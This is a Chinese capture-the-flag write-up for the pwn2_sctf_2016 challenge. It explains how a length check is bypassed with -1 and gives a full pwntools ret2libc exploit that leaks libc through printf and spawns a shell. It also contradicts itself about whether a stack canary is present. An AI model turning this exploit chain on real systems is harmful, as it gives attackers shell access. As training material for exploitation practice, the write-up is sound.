pwn2_sctf_2016

pwn2_sctf_2016

使用checksec查看：
开启了栈不可执行和Canary。

先放进IDA中分析：

• 主函数给出了vuln()函数，直接跟进。

vuln()：

• get_n((int)&nptr, 4u);：获取数据长度，用户可控。
• if ( v2 > 32 )：若长度超过32，退出程序。
• get_n((int)&nptr, v2); return printf("You said: %s\n", &nptr);：获取用户的输入并输出。

题目思路

• 判断长度可用-1进行绕过。
• 没有Canary，不限长度后可以利用栈溢出。
• 使用ret2libc的方式getshell。

步骤解析

无需

完整exp

from pwn import *

#start
r = remote("node4.buuoj.cn",27834)
# r = process("../buu/pwn2_sctf_2016")
elf = ELF("../buu/pwn2_sctf_2016")
libc = ELF("../buu/ubuntu16(32).so")

#params
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
main_addr = elf.symbols['main']
str_addr = 0x80486F8
do_thing_addr = 0x80484D0

#attack
r.sendlineafter("read? ","-1")
payload = b'M'*(0x2C+4) + p32(printf_plt) + p32(main_addr) + p32(str_addr) + p32(printf_got)
r.sendlineafter("data!\n",payload)
r.recvuntil("said: ")
r.recvuntil('said: ')
printf_addr = u32(r.recv(4))

#libc
base_addr = printf_addr - libc.symbols['printf']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))

#attack2
r.sendlineafter("read? ","-1")
payload = b'M'*(0x2C+4) + p32(system_addr) + b'M'*4 + p32(bin_sh_addr)
r.sendlineafter("data!\n",payload)

r.interactive()